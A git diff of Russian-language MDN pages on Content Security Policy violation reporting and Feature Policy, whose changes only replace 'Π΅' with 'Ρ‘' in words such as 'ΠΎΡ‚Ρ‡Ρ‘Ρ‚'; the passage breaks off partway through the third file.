-<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° ΠΎΡ‚Ρ‡Π΅Ρ‚ΠΎΠ² Π½Π΅ производится.Β  Для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ ΠΎΡ‚Ρ‡Π΅Ρ‚ΠΎΠ², Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π² вашСй ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Ρƒ {{CSP("report-uri")}} ΠΈ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ ΠΎΠ΄ΠΈΠ½ URI, ΠΊΡƒΠ΄Π° Π±ΡƒΠ΄ΡƒΡ‚ Π½Π°ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ ΠΎΡ‚Ρ‡Π΅Ρ‚Ρ‹:</p>
+<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° ΠΎΡ‚Ρ‡Ρ‘Ρ‚ΠΎΠ² Π½Π΅ производится.Β  Для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ ΠΎΡ‚Ρ‡Ρ‘Ρ‚ΠΎΠ², Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π² вашСй ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Ρƒ {{CSP("report-uri")}} ΠΈ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ ΠΎΠ΄ΠΈΠ½ URI, ΠΊΡƒΠ΄Π° Π±ΡƒΠ΄ΡƒΡ‚ Π½Π°ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ ΠΎΡ‚Ρ‡Ρ‘Ρ‚Ρ‹:</p>
<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi</pre>
-<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ свой сСрвСр Π½Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ этих ΠΎΡ‚Ρ‡Π΅Ρ‚ΠΎΠ²; Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ эти ΠΎΡ‚Ρ‡Π΅Ρ‚Ρ‹ ΠΊΠ°ΠΊ считаСтС Π½ΡƒΠΆΠ½Ρ‹ΠΌ.</p>
+<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ свой сСрвСр Π½Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ этих ΠΎΡ‚Ρ‡Ρ‘Ρ‚ΠΎΠ²; Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ эти ΠΎΡ‚Ρ‡Ρ‘Ρ‚Ρ‹ ΠΊΠ°ΠΊ считаСтС Π½ΡƒΠΆΠ½Ρ‹ΠΌ.</p>
-<h2 id="Бинтаксис_ΠΎΡ‚Ρ‡Π΅Ρ‚Π°_ΠΎ_ΠΏΡ€ΠΎΠΈΡΡˆΠ΅ΡΡ‚Π²ΠΈΡΡ…">Бинтаксис ΠΎΡ‚Ρ‡Π΅Ρ‚Π° ΠΎ ΠΏΡ€ΠΎΠΈΡΡˆΠ΅ΡΡ‚Π²ΠΈΡΡ…</h2>
+<h2 id="Бинтаксис_ΠΎΡ‚Ρ‡Ρ‘Ρ‚Π°_ΠΎ_ΠΏΡ€ΠΎΠΈΡΡˆΠ΅ΡΡ‚Π²ΠΈΡΡ…">Бинтаксис ΠΎΡ‚Ρ‡Ρ‘Ρ‚Π° ΠΎ ΠΏΡ€ΠΎΠΈΡΡˆΠ΅ΡΡ‚Π²ΠΈΡΡ…</h2>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ ΠΎΡ‚Ρ‡Π΅Ρ‚Π° Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ JSON содСрТит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ поля:</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ ΠΎΡ‚Ρ‡Ρ‘Ρ‚Π° Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ JSON содСрТит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ поля:</p>
<dl>
<dt><code>blocked-uri</code></dt>
- <dd>URI рСсурса, Π·Π°Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ Π² соотвСтствии с настройками ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ. Если Π·Π°Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ адрСс отличаСтся ΠΎΡ‚ адрСса страницы, Ρ‚ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ сокращСн Π΄ΠΎ схСмы, хоста ΠΈ ΠΏΠΎΡ€Ρ‚Π°.</dd>
+ <dd>URI рСсурса, Π·Π°Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ Π² соотвСтствии с настройками ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ. Если Π·Π°Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ адрСс отличаСтся ΠΎΡ‚ адрСса страницы, Ρ‚ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ сокращён Π΄ΠΎ схСмы, хоста ΠΈ ΠΏΠΎΡ€Ρ‚Π°.</dd>
</dl>
<dl>
@@ -129,7 +129,7 @@ translation_of: Web/HTTP/CSP
<dt><code>original-policy</code></dt>
<dd>Π˜ΡΡ…ΠΎΠ΄Π½Π°Ρ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ°, описываСмая Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ <code>Content-Security-Policy</code>.</dd>
<dt><code>referrer</code></dt>
- <dd>Π Π΅Ρ„Π΅Ρ€Π΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ²Π΅Π» ΠΊ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡŽ.</dd>
+ <dd>Π Π΅Ρ„Π΅Ρ€Π΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ²Ρ‘Π» ΠΊ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡŽ.</dd>
<dt><code>script-sample</code></dt>
<dd>ΠŸΠ΅Ρ€Π²Ρ‹Π΅ 40 символов встроСнного скрипта ΠΈΠ»ΠΈ стиля, ΡΠΏΡ€ΠΎΠ²ΠΎΡ†ΠΈΡ€ΠΎΠ²Π°Π²ΡˆΠ΅Π³ΠΎ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΠ΅.</dd>
<dt><code>status-code</code></dt>
@@ -138,7 +138,7 @@ translation_of: Web/HTTP/CSP
<dd>Π”ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Π°, которая Π±Ρ‹Π»Π° Π½Π°Ρ€ΡƒΡˆΠ΅Π½Π°.</dd>
</dl>
-<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_ΠΎΡ‚Ρ‡Π΅Ρ‚Π°_ΠΎ_ΠΏΡ€ΠΎΠΈΡΡˆΠ΅ΡΡ‚Π²ΠΈΠΈ">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΡ‚Ρ‡Π΅Ρ‚Π° ΠΎ ΠΏΡ€ΠΎΠΈΡΡˆΠ΅ΡΡ‚Π²ΠΈΠΈ</h2>
+<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_ΠΎΡ‚Ρ‡Ρ‘Ρ‚Π°_ΠΎ_ΠΏΡ€ΠΎΠΈΡΡˆΠ΅ΡΡ‚Π²ΠΈΠΈ">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΡ‚Ρ‡Ρ‘Ρ‚Π° ΠΎ ΠΏΡ€ΠΎΠΈΡΡˆΠ΅ΡΡ‚Π²ΠΈΠΈ</h2>
<div>Π’ΠΎΠ·ΡŒΠΌΡ‘ΠΌ страницу, Ρ€Π°ΡΠΏΠΎΠ»ΠΎΠΆΠ΅Π½Π½ΡƒΡŽ ΠΏΠΎ адрСсу <code><a class="external" href="http://example.com/signup.html" rel="freelink">http://example.com/signup.html</a></code>. Для Π½Π΅Ρ‘ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ°, Π·Π°ΠΏΡ€Π΅Ρ‰Π°ΡŽΡ‰Π°Ρ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ всСго ΠΊΡ€ΠΎΠΌΠ΅ CSS-Ρ„Π°ΠΉΠ»ΠΎΠ² с <code>cdn.example.com</code>.</div>
@@ -171,7 +171,7 @@ translation_of: Web/HTTP/CSP
}
}</pre>
-<p>Как Π²ΠΈΠ΄ΠΈΡ‚Π΅, ΠΎΡ‚Ρ‡Ρ‘Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ ΠΊ рСсурсу Π½Π°Ρ€ΡƒΡˆΠ°ΡŽΡ‰Π΅ΠΌΡƒ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΡƒ Π² <code>blocked-uri</code>. ΠŸΡ€Π°Π²Π΄Π°, это Π½Π΅ всСгда Ρ‚Π°ΠΊ. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, ΠΊΠΎΠ³Π΄Π° <code>signup.html</code> попытаСтся Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ CSS с <a href="http://anothercdn.example.com/stylesheet.css"><code>http://anothercdn.example.com/stylesheet.css</code></a>, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ <em>Π½Π΅ </em>Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ, Π° ограничится лишь Π΄ΠΎΠΌΠ΅Π½ΠΎΠΌ (<code>http://anothercdn.example.com</code>). БпСцификация CSP <a href="http://www.w3.org/TR/CSP/#security-violation-reports">поясняСт</a> это странноС ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅. Π’ Ρ†Π΅Π»ΠΎΠΌ, это дСлаСтся для прСдотвращСния ΡƒΡ‚Π΅Ρ‡Π΅ΠΊ Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ пСрСкрСстных рСсурсах</p>
+<p>Как Π²ΠΈΠ΄ΠΈΡ‚Π΅, ΠΎΡ‚Ρ‡Ρ‘Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ ΠΊ рСсурсу Π½Π°Ρ€ΡƒΡˆΠ°ΡŽΡ‰Π΅ΠΌΡƒ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΡƒ Π² <code>blocked-uri</code>. ΠŸΡ€Π°Π²Π΄Π°, это Π½Π΅ всСгда Ρ‚Π°ΠΊ. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, ΠΊΠΎΠ³Π΄Π° <code>signup.html</code> попытаСтся Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ CSS с <a href="http://anothercdn.example.com/stylesheet.css"><code>http://anothercdn.example.com/stylesheet.css</code></a>, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ <em>Π½Π΅ </em>Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ, Π° ограничится лишь Π΄ΠΎΠΌΠ΅Π½ΠΎΠΌ (<code>http://anothercdn.example.com</code>). БпСцификация CSP <a href="http://www.w3.org/TR/CSP/#security-violation-reports">поясняСт</a> это странноС ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅. Π’ Ρ†Π΅Π»ΠΎΠΌ, это дСлаСтся для прСдотвращСния ΡƒΡ‚Π΅Ρ‡Π΅ΠΊ Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ пСрСкрёстных рСсурсах</p>
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
@@ -179,7 +179,7 @@ translation_of: Web/HTTP/CSP
<p>{{Compat("http.headers.csp")}}</p>
-<p>Для Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… вСрсий Safari сущСствуСт спСцифичСская Π½Π΅ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ CSP. Если ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Content Security Policy Π±Π΅Π· Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Same Origin, Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π°Ρ‡Π½Π΅Ρ‚ Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π»ΠΎΠΆΠ½ΠΎ-ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΎΡ‚Ρ‡Π΅Ρ‚Ρ‹ ΠΎ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΠΈ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ для всСго ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠ°ΠΊ с Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠ³ΠΎ источника, Ρ‚Π°ΠΊ ΠΈ ΠΈΠ· Π²Π½Π΅ΡˆΠ½ΠΈΡ… источников.</p>
+<p>Для Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… вСрсий Safari сущСствуСт спСцифичСская Π½Π΅ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ CSP. Если ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Content Security Policy Π±Π΅Π· Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Same Origin, Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π°Ρ‡Π½Ρ‘Ρ‚ Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π»ΠΎΠΆΠ½ΠΎ-ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΎΡ‚Ρ‡Ρ‘Ρ‚Ρ‹ ΠΎ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΠΈ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ для всСго ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠ°ΠΊ с Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠ³ΠΎ источника, Ρ‚Π°ΠΊ ΠΈ ΠΈΠ· Π²Π½Π΅ΡˆΠ½ΠΈΡ… источников.</p>
<p>Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅:</p>
diff --git a/files/ru/web/http/feature_policy/index.html b/files/ru/web/http/feature_policy/index.html
index 972b15c168..ae3955ed1c 100644
--- a/files/ru/web/http/feature_policy/index.html
+++ b/files/ru/web/http/feature_policy/index.html
@@ -5,13 +5,13 @@ translation_of: Web/HTTP/Feature_Policy
---
<div>{{SeeCompatTable}}{{HTTPSidebar}}</div>
-<p class="summary"><span class="seoSummary">Feature Policy позволяСт Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒ Π²Ρ‹Π±ΠΎΡ€ΠΎΡ‡Π½ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ, ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈ API Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π­Ρ‚ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° {{Glossary("CSP", "Content Security Policy")}}, Π½ΠΎ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ вмСсто ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊ бСзопасности.</span></p>
+<p class="summary"><span class="seoSummary">Feature Policy позволяСт Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒ Π²Ρ‹Π±ΠΎΡ€ΠΎΡ‡Π½ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ, ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈ API Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π­Ρ‚ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° {{Glossary("CSP", "Content Security Policy")}}, Π½ΠΎ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ вмСсто ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊ бСзопасности.</span></p>
<h2 id="ΠšΡ€Π°Ρ‚ΠΊΠΎΠ΅_описаниС">ΠšΡ€Π°Ρ‚ΠΊΠΎΠ΅ описаниС</h2>
<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Feature Policy прСдоставляСт ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ для ясного указания Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… ΠΈΠ»ΠΈ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… вашим Π²Π΅Π±-сайтом. Π­Ρ‚ΠΎ позволяСт Π·Π°ΠΊΡ€Π΅ΠΏΠΈΡ‚ΡŒ Π»ΡƒΡ‡ΡˆΠΈΠ΅ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΈ, Π΄Π°ΠΆΠ΅ Ссли кодовая Π±Π°Π·Π° развиваСтся с Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π±ΠΎΠ»Π΅Π΅ бСзопасно Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ сторонний ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ограничивая доступныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
-<p>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Feature Policy Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π½Π°Π±ΠΎΡ€ "ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊ" для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ Π²Π΅Π±-сайту. Π­Ρ‚ΠΈ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ ΠΊΠ°ΠΊΠΈΠ΅ API сайта ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ доступ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ.</p>
+<p>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Feature Policy Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π½Π°Π±ΠΎΡ€ "ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊ" для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ Π²Π΅Π±-сайту. Π­Ρ‚ΠΈ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ ΠΊΠ°ΠΊΠΈΠ΅ API сайта ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ доступ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ.</p>
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ Feature Policy:</p>
diff --git a/files/ru/web/http/feature_policy/using_feature_policy/index.html b/files/ru/web/http/feature_policy/using_feature_policy/index.html
index b2dc5d8792..b75ef11712 100644
--- a/files/ru/web/http/feature_policy/using_feature_policy/index.html
+++ b/files/ru/web/http/feature_policy/using_feature_policy/index.html
@@ -9,13 +9,13 @@ translation_of: Web/HTTP/Feature_Policy/Using_Feature_Policy
<div></div>
-<p><a href="/en-US/docs/Web/HTTP/Feature_Policy">Π€ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Π°Ρ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ°</a> позволяСт Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ доступ страницам сайта ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ Π²Π΅Π± Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, как страницам высокого уровня, Ρ‚Π°ΠΊ ΠΈ встроСнным Π² страницу Ρ„Ρ€Π΅ΠΉΠΌΠ°ΠΌ. По сути, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ опрСдСляСт ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΡƒ, которая позволяСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ списку Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Ρ… источников. КаТдая функция, ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅ΠΌΠ°ΡΒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠΉ 